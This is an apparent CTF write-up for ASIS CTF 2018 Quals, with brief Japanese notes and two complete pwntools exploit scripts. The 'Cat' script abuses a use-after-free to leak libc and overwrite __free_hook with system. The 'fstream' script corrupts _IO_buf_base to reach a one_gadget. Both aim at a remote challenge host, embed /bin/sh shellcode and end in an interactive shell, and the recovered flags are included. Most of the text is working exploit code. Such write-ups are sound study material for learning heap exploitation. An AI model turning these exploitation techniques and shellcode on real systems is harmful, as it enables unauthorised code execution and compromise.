ASISCTF 2018 Quals Writeup

# Cat
* Editの更新確認でnを選択するとポインタが初期化されず簡単にUAFができる脆弱性があったのでそれ使う

```python
#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

RHOST = "178.62.40.102"
RPORT = 6000
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'Cat'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

l = listen(LPORT)
conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, l.lport)
    elif sys.argv[1] == 'a':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')

system = libc.symbols['system']

def select_menu(number):
    conn.sendlineafter('which command?\n> ', str(number))
    return

def add(name, kind, old):
    select_menu(1)
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))
    conn.recvuntil(':')
    id = conn.recvuntil('\n')
    return id

def edit(id, name, kind, old, confirm):
    select_menu(2)
    conn.sendafter('> ', str(id))
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))
    conn.sendafter('> ', confirm)
    return

def show(id):
    select_menu(3)
    conn.sendafter('> ', str(id))
    conn.recvuntil(':')
    name = conn.recvuntil('\n').strip()
    conn.recvuntil(':')
    kind = conn.recvuntil('\n').strip()
    conn.recvuntil(':')
    old = conn.recvuntil('\n').strip()
    id = conn.recvuntil('id ').strip()
    result = {
        'id'   : id,
        'name' : name,
        'kind' : kind,
        'old'  : old,
    }
    return result

def show_all():
    select_menu(4)
    pass

def delete(id):
    select_menu(5)
    conn.sendafter('> ', str(id))
    return 

def end():
    select_menu(6)

def main():
    add('A' * 0x16, 'B' * 0x16, 1234)
    add('C' * 0x16, 'D' * 0x16, 1234)
    edit(0,"G" * 0x16, 'H' * 0x16, 5678, 'n')
    add(p64(0x6020e0), p64(0x6020e0), 1234)
    edit(0,p64(0x6020a0), p64(0x602090), 5678, 'y')
    libc = show(2)['name']
    libc_base = u64(libc + ('\x00' * (8 - len(libc))) ) - 0x3c48e0
    free_hook = libc_base + 0x3c67a8
    log.info("libc: "  + hex(libc_base))
    heap = show(8)['kind']
    heap_base = u64(heap + ('\x00' * (8 - len(heap))) ) - 0x90
    log.info("heap: " + hex(heap_base))
    add('A' * 0x16, 'B' * 0x16, 1234)
    edit(0,'C' * 0x16, 'D' * 0x16, 5678, 'n')
    add(p64(0x6020d0), p64(free_hook), 1234)
    edit(3,p64(libc_base + system), '/bin/sh\x00', 5678, 'n')

    conn.interactive()

if __name__ == '__main__':
    main()
```

`ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}`

# FCascade
初めは下記のリンクを参考にexploitを作ったけど大量の入力部分でハマってしまい、時間が溶けて問題は解けなかった
https://github.com/scwuaptx/CTF/blob/master/2017-writeup/twctf/Parrot.md

* leak関数でlibcのアドレスを特定できる
* sizeの部分に任意のアドレスを入力してNULLで上書きできる

_IO_buf_baseの最下位バイトをNULLで上書きして、stdinのbufferを__free_hookに向けてone gadget
ありがとうございます!
https://twitter.com/hama7230/status/991050401788055552

```python

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

RHOST = "178.62.40.102"
RPORT = 6002
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'fstream'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

l = listen(LPORT)
conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, l.lport)
    elif sys.argv[1] == 'a':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')

io_buf_base = 0x3c4918
system = libc.symbols['system']

def send_payload(data):
    conn.sendafter('> ', data)
    return

send_payload('11010110')
send_payload('A' * 0x128)
conn.recv(0x128)
libc = conn.recv(6)
libc_base = u64(libc + ('\x00' * (8 - len(libc) ))) - 0x3da7cb
free_hook = libc_base + 0x3c67a8
log.info('libc_base: ' + hex(libc_base))
send_payload('1' * 8)
send_payload('10110101')
time.sleep(1.0)
send_payload( str(libc_base + io_buf_base+1) + '\n')
payload = p64(0) * 3
payload += p64(free_hook)
payload += p64(free_hook+0x10)
payload += p64(0)
send_payload(payload)

payload = '\x00' * 0xa8
payload += p64(libc_base + 0x4526a) #one_gadget
send_payload(payload)
conn.interactive()

```

`ASIS{1b706201df43717ba2b6a7c41191ec1205fc908d}`